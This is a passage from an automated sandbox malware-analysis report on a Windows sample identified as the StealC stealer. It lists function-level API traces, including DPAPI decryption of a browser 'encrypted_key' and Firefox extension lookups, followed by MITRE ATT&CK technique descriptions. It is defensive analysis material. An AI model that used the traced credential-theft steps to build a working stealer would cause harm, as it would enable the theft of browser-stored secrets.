StrStrA.SHLWAPI(00000000,00000000,00000000,?,?,00000000,?,00EB1580,00EB0D92), ref: 00E9F54C
lstrlen.KERNEL32(00000000), ref: 00E9F56B

Strings

^userContextId=4294967295, xrefs: 00E9F59C
moz-extension+++, xrefs: 00E9F5AD

Memory Dump Source

Source File: 00000000.00000002.2176067098.0000000000E91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E90000, based on PE: true

Associated: 00000000.00000002.2176049629.0000000000E90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.00000000010DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.00000000010EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000126F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000134A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001371000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001378000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001387000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176611925.0000000001388000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176742102.0000000001520000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176758538.0000000001521000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e90000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileLocal$Alloclstrcatlstrlen$CloseCreateFreeHandleReadSize
String ID: ^userContextId=4294967295$moz-extension+++
API String ID: 998311485-3310892237
Opcode ID: 9a656b6e487cdfb08c2b7c1b085f14f9aecc3c9597e4a6951c23c6bc82de7fdf
Instruction ID: 634ee7da492e00618b2a246be5f60b875638806706a1b2b23c3136c8b25f4886
Opcode Fuzzy Hash: 9a656b6e487cdfb08c2b7c1b085f14f9aecc3c9597e4a6951c23c6bc82de7fdf
Instruction Fuzzy Hash: 5B511272D102089ADB48FBA0DC56DEE73B8AF59300F459539F4167B191EF347A09CBA2

Function 00EA70D0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 140COMMON

Download Yara Rule

Strings

65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30, xrefs: 00EA718C
s, xrefs: 00EA72AE, 00EA7179, 00EA717C
s, xrefs: 00EA7111, 00EA7114

Memory Dump Source

Source File: 00000000.00000002.2176067098.0000000000E91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E90000, based on PE: true

Associated: 00000000.00000002.2176049629.0000000000E90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.00000000010DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.00000000010EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000126F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000134A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001371000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001378000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001387000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176611925.0000000001388000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176742102.0000000001520000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176758538.0000000001521000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e90000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID: s$s$65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30
API String ID: 3722407311-3520659465
Opcode ID: b34bd6e6045d61e72759808cd50b4620a619d2a0c778701f1632d84004de52a7
Instruction ID: f3204ff6ffcb052ea8e890ae9f07b48fd39974b06f856d6f5586d46f864bd8a1
Opcode Fuzzy Hash: b34bd6e6045d61e72759808cd50b4620a619d2a0c778701f1632d84004de52a7
Instruction Fuzzy Hash: 275171B0D042189BDB24EB90DC85BEEB7B4AF59304F1461A8E1557B181EB747E88CF64

Function 00EA3560 Relevance: 6.1, APIs: 4, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2176067098.0000000000E91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E90000, based on PE: true

Associated: 00000000.00000002.2176049629.0000000000E90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.00000000010DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.00000000010EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000126F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000134A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001371000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001378000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001387000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176611925.0000000001388000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176742102.0000000001520000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176758538.0000000001521000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e90000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen
String ID:
API String ID: 367037083-0
Opcode ID: 82dd4f02e4e2719d7e948d8c80296db565aa0c5dc9fd538131a41f505dda756a
Instruction ID: 9fef3d53b293020729f57d8175198dd31623e7c75ae7b43c4b573e451bab310d
Opcode Fuzzy Hash: 82dd4f02e4e2719d7e948d8c80296db565aa0c5dc9fd538131a41f505dda756a
Instruction Fuzzy Hash: 62411E71E10209ABCB04EFA4D845AFFB7B4AB49304F049429F4167A251EB75BA05CFA1

Function 00E99CE0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

Part of subcall function 00EAA740: lstrcpy.KERNEL32(00EB0E17,00000000), ref: 00EAA788

Part of subcall function 00E999C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00E999EC
Part of subcall function 00E999C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00E99A11
Part of subcall function 00E999C0: LocalAlloc.KERNEL32(00000040,?), ref: 00E99A31
Part of subcall function 00E999C0: ReadFile.KERNEL32(000000FF,?,00000000,00E9148F,00000000), ref: 00E99A5A
Part of subcall function 00E999C0: LocalFree.KERNEL32(00E9148F), ref: 00E99A90
Part of subcall function 00E999C0: CloseHandle.KERNEL32(000000FF), ref: 00E99A9A

Part of subcall function 00EA8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00EA8E52

StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00E99D39

Part of subcall function 00E99AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N,00000000,00000000), ref: 00E99AEF
Part of subcall function 00E99AC0: LocalAlloc.KERNEL32(00000040,?,?,?,00E94EEE,00000000,?), ref: 00E99B01
Part of subcall function 00E99AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N,00000000,00000000), ref: 00E99B2A
Part of subcall function 00E99AC0: LocalFree.KERNEL32(?,?,?,?,00E94EEE,00000000,?), ref: 00E99B3F

Part of subcall function 00E99B60: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00E99B84
Part of subcall function 00E99B60: LocalAlloc.KERNEL32(00000040,00000000), ref: 00E99BA3
Part of subcall function 00E99B60: LocalFree.KERNEL32(?), ref: 00E99BD3

Strings

"encrypted_key":", xrefs: 00E99D30
DPAPI, xrefs: 00E99D89
, xrefs: 00E99DC1

Memory Dump Source

Source File: 00000000.00000002.2176067098.0000000000E91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E90000, based on PE: true

Associated: 00000000.00000002.2176049629.0000000000E90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.00000000010DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.00000000010EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000126F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000134A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001371000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001378000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001387000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176611925.0000000001388000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176742102.0000000001520000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176758538.0000000001521000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e90000_file.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$CloseCreateDataHandleReadSizeUnprotectlstrcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 2100535398-738592651
Opcode ID: 153013aeab20c05504dc630441fb6ff2d4f3c26cc4b9640af7de46641742485a
Instruction ID: 23b1807b57e597110cde6b3153e292f32d7b4b0f2279f2d364033d85089b9c03
Opcode Fuzzy Hash: 153013aeab20c05504dc630441fb6ff2d4f3c26cc4b9640af7de46641742485a
Instruction Fuzzy Hash: C5315EB6D10209ABCF04DBE8DC85AEFB7B8AB48304F14551CE905B7242EB349A04CBA1

Function 00EAC742 Relevance: 6.0, APIs: 4, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 00EAC74E

Part of subcall function 00EABF9F: __amsg_exit.LIBCMT ref: 00EABFAF

__getptd.LIBCMT ref: 00EAC765
__amsg_exit.LIBCMT ref: 00EAC773
__updatetlocinfoEx_nolock.LIBCMT ref: 00EAC797

Memory Dump Source

Source File: 00000000.00000002.2176067098.0000000000E91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E90000, based on PE: true

Associated: 00000000.00000002.2176049629.0000000000E90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.00000000010DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.00000000010EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000126F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000134A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001371000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001378000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001387000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176611925.0000000001388000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176742102.0000000001520000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176758538.0000000001521000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e90000_file.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__updatetlocinfo
String ID:
API String ID: 300741435-0
Opcode ID: 976996c51168e837df400f11fc5948274fde2c684aa7f00a00a400dcf18af654
Instruction ID: 09887da2e952f069ad6ec93edc3b25173111960d716ba639671b2454947cde8b
Opcode Fuzzy Hash: 976996c51168e837df400f11fc5948274fde2c684aa7f00a00a400dcf18af654
Instruction Fuzzy Hash: 77F06D32A013009FD721BBB85C0678A33E06F0E724F28614AF414BE1D3DB6479809E96

Function 00EA4F40 Relevance: 5.1, APIs: 4, Instructions: 70stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00EA8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00EA8E0B

lstrcat.KERNEL32(?,00000000), ref: 00EA4F7A
lstrcat.KERNEL32(?,00EB1070), ref: 00EA4F97
lstrcat.KERNEL32(?,00BB89B8), ref: 00EA4FAB
lstrcat.KERNEL32(?,00EB1074), ref: 00EA4FBD

Part of subcall function 00EA4910: wsprintfA.USER32 ref: 00EA492C
Part of subcall function 00EA4910: FindFirstFileA.KERNEL32(?,?), ref: 00EA4943

Part of subcall function 00EA4910: StrCmpCA.SHLWAPI(?,00EB0FDC), ref: 00EA4971
Part of subcall function 00EA4910: StrCmpCA.SHLWAPI(?,00EB0FE0), ref: 00EA4987
Part of subcall function 00EA4910: FindNextFileA.KERNEL32(000000FF,?), ref: 00EA4B7D
Part of subcall function 00EA4910: FindClose.KERNEL32(000000FF), ref: 00EA4B92

Memory Dump Source

Source File: 00000000.00000002.2176067098.0000000000E91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E90000, based on PE: true

Associated: 00000000.00000002.2176049629.0000000000E90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.00000000010DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.00000000010EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000126F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000134A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001371000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001378000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001387000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176611925.0000000001388000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176742102.0000000001520000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176758538.0000000001521000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e90000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
String ID:
API String ID: 2667927680-0
Opcode ID: 80a0bf55889a675f425470a877b6247c9466de85e3c92f8f4cdf973d856820c6
Instruction ID: 47a57ce5d29afddaff620bbac7bee6bef36200ec1107b7143ea434ea4e3b1602
Opcode Fuzzy Hash: 80a0bf55889a675f425470a877b6247c9466de85e3c92f8f4cdf973d856820c6
Instruction Fuzzy Hash: A821D076A003049BC764F770DC46EEE337CAB99300F404594BA8967185DF75A6C8CB91

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Imports

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

Windows Analysis Report
file.exe

Function 00EA9860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Function 00E945C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Function 00E94880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Function 00EA9C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Function 00E96280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191
networkfileCOMMON

Function 00EA5510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383
sleepCOMMON

Function 00EA17A0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162
COMMON

Function 00EA7500 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 106
memoryCOMMON

Function 00EA69F0 Relevance: 9.1, APIs: 6, Instructions: 89
sleepCOMMON

Function 00EA6AF3 Relevance: 6.0, APIs: 4, Instructions: 30
sleepCOMMON

Function 00E947B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63
stringnetworkCOMMON

